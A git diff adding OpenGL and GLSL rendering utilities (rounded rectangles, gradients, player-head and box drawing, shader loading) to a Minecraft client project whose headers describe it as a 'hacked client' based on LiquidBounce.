tessellator.getWorldRenderer(); + worldrenderer.begin(GL_QUADS, DefaultVertexFormats.POSITION_TEX); + worldrenderer.pos(x, y + height, 0.0D).tex(u * f, (v + (float) vHeight) * f1).endVertex(); + worldrenderer.pos(x + width, y + height, 0.0D).tex((u + (float) uWidth) * f, (v + (float) vHeight) * f1).endVertex(); + worldrenderer.pos(x + width, y, 0.0D).tex((u + (float) uWidth) * f, v * f1).endVertex(); + worldrenderer.pos(x, y, 0.0D).tex(u * f, v * f1).endVertex(); + tessellator.draw(); + } + + public static void drawScaledCustomSizeModalCircle(int x, int y, float u, float v, int uWidth, int vHeight, int width, int height, float tileWidth, float tileHeight) { + float f = 1.0F / tileWidth; + float f1 = 1.0F / tileHeight; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + worldrenderer.begin(GL_POLYGON, DefaultVertexFormats.POSITION_TEX); + float xRadius = width / 2f; + float yRadius = height / 2f; + float uRadius = (((u + (float) uWidth) * f) - (u * f)) / 2f; + float vRadius = (((v + (float) vHeight) * f1) - (v * f1)) / 2f; + for(int i = 0; i <= 360; i+=10) { + double xPosOffset = Math.sin(i * Math.PI / 180.0D); + double yPosOffset = Math.cos(i * Math.PI / 180.0D); + worldrenderer.pos(x + xRadius + xPosOffset * xRadius, y + yRadius + yPosOffset * yRadius, 0) + .tex(u * f + uRadius + xPosOffset * uRadius, v * f1 + vRadius + yPosOffset * vRadius).endVertex(); + } + tessellator.draw(); + } + + public static void drawHead(ResourceLocation skin, int x, int y, int width, int height, int color) { +// float f3 = (float) (color >> 24 & 255) / 255.0F; +// float f = (float) (color >> 16 & 255) / 255.0F; +// float f1 = (float) (color >> 8 & 255) / 255.0F; +// float f2 = (float) (color & 255) / 255.0F; +// GlStateManager.color(f, f1, f2, f3); + mc.getTextureManager().bindTexture(skin); + RenderUtils.drawScaledCustomSizeModalRect(x, y, 8F, 8F, 8, 8, width, height, + 64F, 64F); + RenderUtils.drawScaledCustomSizeModalRect(x, y, 40F, 8F, 8, 8, width, height, + 64F, 64F); + } + + public static void drawAnimatedGradient(double left, double top, double right, double bottom, int col1, int col2) { + long currentTime = System.currentTimeMillis(); + if (startTime == 0) { + startTime = currentTime; + } + + long elapsedTime = currentTime - startTime; + int animationDuration = 500; + float progress = (float) (elapsedTime % animationDuration) / animationDuration; + + int color1, color2; + + if (elapsedTime / animationDuration % 2 == 0) { + // Custom Color 1 to Custom Color 2 + color1 = interpolateColors(col1, col2, progress); + color2 = interpolateColors(col2, col1, progress); + } else { + // Custom Color 2 to Custom Color 1 + color1 = interpolateColors(col2, col1, progress); + color2 = interpolateColors(col1, col2, progress); + } + + drawGradientSideways(left, top, right, bottom, color1, color2); + + if (elapsedTime >= 2 * animationDuration) { + // Reset the start time to continue the loop + startTime = currentTime; + } + } + public static void drawRoundedGradientOutlineCorner(float x, float y, float x1, float y1, float width, float radius, int color, int color2, int color3, int color4) { + ColorUtils.setColour(-1); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + + glPushAttrib(0); + glScaled(0.5D, 0.5D, 0.5D); + x *= 2.0F; + y *= 2.0F; + x1 *= 2.0F; + y1 *= 2.0F; + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + ColorUtils.setColour(color); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + glLineWidth(width); + glBegin(GL_LINE_LOOP); + int i; + for (i = 0; i <= 90; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y + radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color2); + for (i = 90; i <= 180; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color3); + for (i = 0; i <= 90; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius); + ColorUtils.setColour(color4); + for (i = 90; i <= 180; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y + radius + Math.cos(i * Math.PI / 180.0D) * radius); + glEnd(); + glLineWidth(1); + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glDisable(GL_BLEND); + glEnable(GL_TEXTURE_2D); + glScaled(2.0D, 2.0D, 2.0D); + glPopAttrib(); + + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glShadeModel(GL_FLAT); + ColorUtils.setColour(-1); + } + public static void drawRoundedGradientOutlineCorner(float x, float y, float x1, float y1, float width, float radius, int color, int color2) { + ColorUtils.setColour(-1); + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + + glPushAttrib(0); + glScaled(0.5D, 0.5D, 0.5D); + x *= 2.0F; + y *= 2.0F; + x1 *= 2.0F; + y1 *= 2.0F; + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + ColorUtils.setColour(color); + glEnable(GL_LINE_SMOOTH); + glShadeModel(GL_SMOOTH); + glLineWidth(width); + glBegin(GL_LINE_LOOP); + int i; + for (i = 0; i <= 90; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y + radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color); + for (i = 90; i <= 180; i += 3) + glVertex2d(x + radius + Math.sin(i * Math.PI / 180.0D) * radius * -1.0D, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius * -1.0D); + ColorUtils.setColour(color2); + for (i = 0; i <= 90; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y1 - radius + Math.cos(i * Math.PI / 180.0D) * radius); + ColorUtils.setColour(color2); + for (i = 90; i <= 180; i += 3) + glVertex2d(x1 - radius + Math.sin(i * Math.PI / 180.0D) * radius, y + radius + Math.cos(i * Math.PI / 180.0D) * radius); + glEnd(); + glLineWidth(1); + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glDisable(GL_BLEND); + glEnable(GL_TEXTURE_2D); + glScaled(2.0D, 2.0D, 2.0D); + glPopAttrib(); + + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + glShadeModel(GL_FLAT); + ColorUtils.setColour(-1); + } + public static int interpolateColors(int color1, int color2, float progress) { + int alpha = (int) ((1.0 - progress) * (color1 >>> 24) + progress * (color2 >>> 24)); + int red = (int) ((1.0 - progress) * ((color1 >> 16) & 0xFF) + progress * ((color2 >> 16) & 0xFF)); + int green = (int) ((1.0 - progress) * ((color1 >> 8) & 0xFF) + progress * ((color2 >> 8) & 0xFF)); + int blue = (int) ((1.0 - progress) * (color1 & 0xFF) + progress * (color2 & 0xFF)); + + return (alpha << 24) | (red << 16) | (green << 8) | blue; + } + + public static void quickDrawBorderedRect(final float x, final float y, final float x2, final float y2, final float width, final int color1, final int color2) { + quickDrawRect(x, y, x2, y2, color2); + + glColor(color1); + glLineWidth(width); + + glBegin(GL_LINE_LOOP); + + glVertex2d(x2, y); + glVertex2d(x, y); + glVertex2d(x, y2); + glVertex2d(x2, y2); + + glEnd(); + } + public static void rectangleBorderedx(double x, double y, double x1, double y1, double width, int internalColor, int borderColor) { + RenderUtils.rectangle(x + width, y + width, x1 - width, y1 - width, internalColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x + width, y, x1 - width, y + width, borderColor); + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x, y, x + width, y1, borderColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x1 - width, y, x1, y1, borderColor); + GlStateManager.color( 1.0f, 1.0f, 1.0f, 1.0f); + RenderUtils.rectangle(x + width, y1 - width, x1 - width, y1, borderColor); + GlStateManager.color(1.0f, 1.0f, 1.0f, 1.0f); + } + public static void quickDrawHead(ResourceLocation skin, int x, int y, int width, int height) { + mc.getTextureManager().bindTexture(skin); + RenderUtils.drawScaledCustomSizeModalRect(x, y, 8F, 8F, 8, 8, width, height, + 64F, 64F); + RenderUtils.drawScaledCustomSizeModalRect(x, y, 40F, 8F, 8, 8, width, height, + 64F, 64F); + } + + // skid in https://github.com/WYSI-Foundation/LiquidBouncePlus/ + public static void drawBorder(float x, float y, float x2, float y2, float width, int color1) { + glEnable(GL_BLEND); + glDisable(GL_TEXTURE_2D); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + glEnable(GL_LINE_SMOOTH); + + glColor(color1); + glLineWidth(width); + + glBegin(GL_LINE_LOOP); + + glVertex2d(x2 + 1, y - 1); + glVertex2d(x - 1, y - 1); + glVertex2d(x - 1, y2 + 1); + glVertex2d(x2 + 1, y2 + 1); + + glEnd(); + + glEnable(GL_TEXTURE_2D); + glDisable(GL_BLEND); + glDisable(GL_LINE_SMOOTH); + } + + public static void drawOutLineRect(double x, double y, double x1, double y1, double width, int internalColor, int borderColor) { + drawRect(x + width, y + width, x1 - width, y1 - width, internalColor); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + drawRect(x + width, y, x1 - width, y + width, borderColor); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + drawRect(x, y, x + width, y1, borderColor); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + drawRect(x1 - width, y, x1, y1, borderColor); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + drawRect(x + width, y1 - width, x1 - width, y1, borderColor); + GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F); + } + + public static void enableSmoothLine(float width) { + GL11.glDisable(3008); + GL11.glEnable(3042); + GL11.glBlendFunc(770, 771); + GL11.glDisable(3553); + GL11.glDisable(2929); + GL11.glDepthMask(false); + GL11.glEnable(2884); + GL11.glEnable(2848); + GL11.glHint(3154, 4354); + GL11.glHint(3155, 4354); + GL11.glLineWidth(width); + } + + public static void disableSmoothLine() { + GL11.glEnable(3553); + GL11.glEnable(2929); + GL11.glDisable(3042); + GL11.glEnable(3008); + GL11.glDepthMask(true); + GL11.glCullFace(1029); + GL11.glDisable(2848); + GL11.glHint(3154, 4352); + GL11.glHint(3155, 4352); + } + + public static void startSmooth() { + glEnable(2848); + glEnable(2881); + glEnable(2832); + glEnable(3042); + glBlendFunc(770, 771); + glHint(3154, 4354); + glHint(3155, 4354); + glHint(3153, 4354); + } + + public static void endSmooth() { + glDisable(2848); + glDisable(2881); + glEnable(2832); + } + + + public static void drawNewRect(double left, double top, double right, double bottom, int color) { + if (left < right) { + double i = left; + left = right; + right = i; + } + if (top < bottom) { + double j = top; + top = bottom; + bottom = j; + } + float f3 = (float)(color >> 24 & 0xFF) / 255.0f; + float f = (float)(color >> 16 & 0xFF) / 255.0f; + float f1 = (float)(color >> 8 & 0xFF) / 255.0f; + float f2 = (float)(color & 0xFF) / 255.0f; + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer vertexbuffer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 0, 1); + GlStateManager.color(f, f1, f2, f3); + vertexbuffer.begin(7, DefaultVertexFormats.POSITION); + vertexbuffer.pos(left, bottom, 0.0).endVertex(); + vertexbuffer.pos(right, bottom, 0.0).endVertex(); + vertexbuffer.pos(right, top, 0.0).endVertex(); + vertexbuffer.pos(left, top, 0.0).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + public static void renderBox(double x, double y, double z, float width, float height, Color c) { + float halfwidth = width / 2.0F; + float halfheight = height / 2.0F; + GlStateManager.pushMatrix(); + GlStateManager.depthMask(false); + GlStateManager.disableTexture2D(); + GlStateManager.disableLighting(); + GlStateManager.disableCull(); + GlStateManager.disableBlend(); + GlStateManager.disableDepth(); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + worldRenderer.begin(7, DefaultVertexFormats.POSITION_COLOR); + y++; + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + tessellator.draw(); + GlStateManager.enableDepth(); + GlStateManager.depthMask(true); + GlStateManager.enableTexture2D(); + GlStateManager.enableLighting(); + GlStateManager.enableCull(); + GlStateManager.enableBlend(); + GlStateManager.popMatrix(); + } + public static void renderOutlines(double x, double y, double z, float width, float height, Color c, float outlinewidth) { + float halfwidth = width / 2.0F; + float halfheight = height / 2.0F; + GlStateManager.pushMatrix(); + GlStateManager.depthMask(false); + GlStateManager.disableTexture2D(); + GlStateManager.disableLighting(); + GlStateManager.disableCull(); + GlStateManager.disableBlend(); + GlStateManager.disableDepth(); + Tessellator tessellator = Tessellator.getInstance(); + WorldRenderer worldRenderer = tessellator.getWorldRenderer(); + worldRenderer.begin(1, DefaultVertexFormats.POSITION_COLOR); + y++; + GL11.glLineWidth(outlinewidth); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y - halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z - halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x - halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + worldRenderer.pos(x + halfwidth, y + halfheight, z + halfwidth).color(c.getRed(), c.getGreen(), c.getBlue(), c.getAlpha()).endVertex(); + tessellator.draw(); + GlStateManager.enableDepth(); + GlStateManager.depthMask(true); + GlStateManager.enableTexture2D(); + GlStateManager.enableLighting(); + GlStateManager.enableCull(); + GlStateManager.enableBlend(); + GlStateManager.popMatrix(); + } + public static int reAlpha(int color, float alpha) { + Color c = new Color(color); + float r = 0.003921569F * (float) c.getRed(); + float g = 0.003921569F * (float) c.getGreen(); + float b = 0.003921569F * (float) c.getBlue(); + return (new Color(r, g, b, alpha)).getRGB(); + } + public static int SkyRainbow(int var2, float st, float bright) { + double v1 = Math.ceil(System.currentTimeMillis() + (long) (var2 * 109L)) / 5; + return Color.getHSBColor( ((float) ((v1 %= 360.0) / 360.0)) < 0.5 ? -((float) (v1 / 360.0)) : (float) (v1 / 360.0), st, bright).getRGB(); + } + + public static Color skyRainbow(int var2, float st, float bright) { + double v1 = Math.ceil(System.currentTimeMillis() + (long) (var2 * 109L)) / 5; + return Color.getHSBColor( ((float) ((v1 %= 360.0) / 360.0)) < 0.5 ? -((float) (v1 / 360.0)) : (float) (v1 / 360.0), st, bright); + } + + + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/RoundedUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/RoundedUtil.java new file mode 100644 index 0000000..112bf44 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/RoundedUtil.java @@ -0,0 +1,75 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.GlStateManager; +import org.lwjgl.opengl.GL11; + +import java.awt.*; + +public class RoundedUtil { + + public static final ShaderUtil roundedShader = new ShaderUtil("roundedRect"); + private static final ShaderUtil roundedGradientShader = new ShaderUtil("roundedRectGradient"); + + + public static void drawRound(float x, float y, float width, float height, float radius, Color color) { + drawRound(x, y, width, height, radius, false, color); + } + + public static void drawGradientRound(float x, float y, float width, float height, float radius, Color bottomLeft, Color topLeft, Color bottomRight, Color topRight) { + GlStateManager.resetColor(); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); + roundedGradientShader.init(); + setupRoundedRectUniforms(x, y, width, height, radius, roundedGradientShader); + // Bottom Left + roundedGradientShader.setUniformf("color1", bottomLeft.getRed() / 255f, bottomLeft.getGreen() / 255f, bottomLeft.getBlue() / 255f, bottomLeft.getAlpha() / 255f); + //Top left + roundedGradientShader.setUniformf("color2", topLeft.getRed() / 255f, topLeft.getGreen() / 255f, topLeft.getBlue() / 255f, topLeft.getAlpha() / 255f); + //Bottom Right + roundedGradientShader.setUniformf("color3", bottomRight.getRed() / 255f, bottomRight.getGreen() / 255f, bottomRight.getBlue() / 255f, bottomRight.getAlpha() / 255f); + //Top Right + roundedGradientShader.setUniformf("color4", topRight.getRed() / 255f, topRight.getGreen() / 255f, topRight.getBlue() / 255f, topRight.getAlpha() / 255f); + ShaderUtil.drawQuads(x - 1, y - 1, width + 2, height + 2); + roundedGradientShader.unload(); + GlStateManager.disableBlend(); + } + + + + + public static void drawRound(float x, float y, float width, float height, float radius, boolean blur, Color color) { + GlStateManager.resetColor(); + GlStateManager.enableBlend(); + GlStateManager.blendFunc(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA); + roundedShader.init(); + + setupRoundedRectUniforms(x, y, width, height, radius, roundedShader); + roundedShader.setUniformi("blur", blur ? 1 : 0); + roundedShader.setUniformf("color", color.getRed() / 255f, color.getGreen() / 255f, color.getBlue() / 255f, color.getAlpha() / 255f); + + ShaderUtil.drawQuads(x - 1, y - 1, width + 2, height + 2); + roundedShader.unload(); + GlStateManager.disableBlend(); + } + + + private static void setupRoundedRectUniforms(float x, float y, float width, float height, float radius, ShaderUtil roundedTexturedShader) { + ScaledResolution sr = new ScaledResolution(Minecraft.getMinecraft()); + roundedTexturedShader.setUniformf("location", x * sr.getScaleFactor(), + (Minecraft.getMinecraft().displayHeight - (height * sr.getScaleFactor())) - (y * sr.getScaleFactor())); + roundedTexturedShader.setUniformf("rectSize", width * sr.getScaleFactor(), height * sr.getScaleFactor()); + roundedTexturedShader.setUniformf("radius", radius * sr.getScaleFactor()); + } + + public static void drawGradientHorizontal(float x, float y, float width, float height, float radius, Color left, Color right) { + drawGradientRound(x, y, width, height, radius, left, left, right, right); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ShaderUtil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/ShaderUtil.java new file mode 100644 index 0000000..303e82a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ShaderUtil.java @@ -0,0 +1,188 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import net.ccbluex.liquidbounce.utils.FileUtils; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.util.ResourceLocation; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; + +import static org.lwjgl.opengl.GL11.*; +import static org.lwjgl.opengl.GL20.*; + +public class ShaderUtil extends MinecraftInstance { + private final int programID; + + public ShaderUtil(String fragmentShaderLoc, String vertexShaderLoc) { + int program = glCreateProgram(); + try { + int fragmentShaderID; + String roundedRect = "#version 120\n" + + "\n" + + "uniform vec2 location, rectSize;\n" + + "uniform vec4 color;\n" + + "uniform float radius;\n" + + "uniform bool blur;\n" + + "\n" + + "float roundSDF(vec2 p, vec2 b, float r) {\n" + + " return length(max(abs(p) - b, 0.0)) - r;\n" + + "}\n" + + "\n" + + "\n" + + "void main() {\n" + + " vec2 rectHalf = rectSize * .5;\n" + + " // Smooth the result (free antialiasing).\n" + + " float smoothedAlpha = (1.0-smoothstep(0.0, 1.0, roundSDF(rectHalf - (gl_TexCoord[0].st * rectSize), rectHalf - radius - 1., radius))) * color.a;\n" + + " gl_FragColor = vec4(color.rgb, smoothedAlpha);// mix(quadColor, shadowColor, 0.0);\n" + + "\n" + + "}"; + String roundedRectGradient = "#version 120\n" + + "\n" + + "uniform vec2 location, rectSize;\n" + + "uniform vec4 color1, color2, color3, color4;\n" + + "uniform float radius;\n" + + "\n" + + "#define NOISE .5/255.0\n" + + "\n" + + "float roundSDF(vec2 p, vec2 b, float r) {\n" + + " return length(max(abs(p) - b , 0.0)) - r;\n" + + "}\n" + + "\n" + + "vec3 createGradient(vec2 coords, vec3 color1, vec3 color2, vec3 color3, vec3 color4){\n" + + " vec3 color = mix(mix(color1.rgb, color2.rgb, coords.y), mix(color3.rgb, color4.rgb, coords.y), coords.x);\n" + + " //Dithering the color\n" + + " // from https://shader-tutorial.dev/advanced/color-banding-dithering/\n" + + " color += mix(NOISE, -NOISE, fract(sin(dot(coords.xy, vec2(12.9898, 78.233))) * 43758.5453));\n" + + " return color;\n" + + "}\n" + + "\n" + + "void main() {\n" + + " vec2 st = gl_TexCoord[0].st;\n" + + " vec2 halfSize = rectSize * .5;\n" + + " \n" + + " float smoothedAlpha = (1.0-smoothstep(0.0, 2., roundSDF(halfSize - (gl_TexCoord[0].st * rectSize), halfSize - radius - 1., radius))) * color1.a;\n" + + " gl_FragColor = vec4(createGradient(st, color1.rgb, color2.rgb, color3.rgb, color4.rgb), smoothedAlpha);\n" + + "}"; + switch (fragmentShaderLoc) { + case "roundedRect": + fragmentShaderID = createShader(new ByteArrayInputStream(roundedRect.getBytes()), GL_FRAGMENT_SHADER); + break; + case "roundedRectGradient": + fragmentShaderID = createShader(new ByteArrayInputStream(roundedRectGradient.getBytes()), GL_FRAGMENT_SHADER); + break; + default: + fragmentShaderID = createShader(mc.getResourceManager().getResource(new ResourceLocation(fragmentShaderLoc)).getInputStream(), GL_FRAGMENT_SHADER); + break; + } + glAttachShader(program, fragmentShaderID); + + int vertexShaderID = createShader(mc.getResourceManager().getResource(new ResourceLocation(vertexShaderLoc)).getInputStream(), GL_VERTEX_SHADER); + glAttachShader(program, vertexShaderID); + + + } catch (IOException e) { + e.printStackTrace(); + } + + glLinkProgram(program); + int status = glGetProgrami(program, GL_LINK_STATUS); + + if (status == 0) { + throw new IllegalStateException("Shader failed to link!"); + } + this.programID = program; + } + + public ShaderUtil(String fragmentShaderLoc) { + this(fragmentShaderLoc, "shaders/vertex.vsh"); + } + + + public void init() { + glUseProgram(programID); + } + + public void unload() { + glUseProgram(0); + } + + public int getUniform(String name) { + return glGetUniformLocation(programID, name); + } + + + public void setUniformf(String name, float... args) { + int loc = glGetUniformLocation(programID, name); + switch (args.length) { + case 1: + glUniform1f(loc, args[0]); + break; + case 2: + glUniform2f(loc, args[0], args[1]); + break; + case 3: + glUniform3f(loc, args[0], args[1], args[2]); + break; + case 4: + glUniform4f(loc, args[0], args[1], args[2], args[3]); + break; + } + } 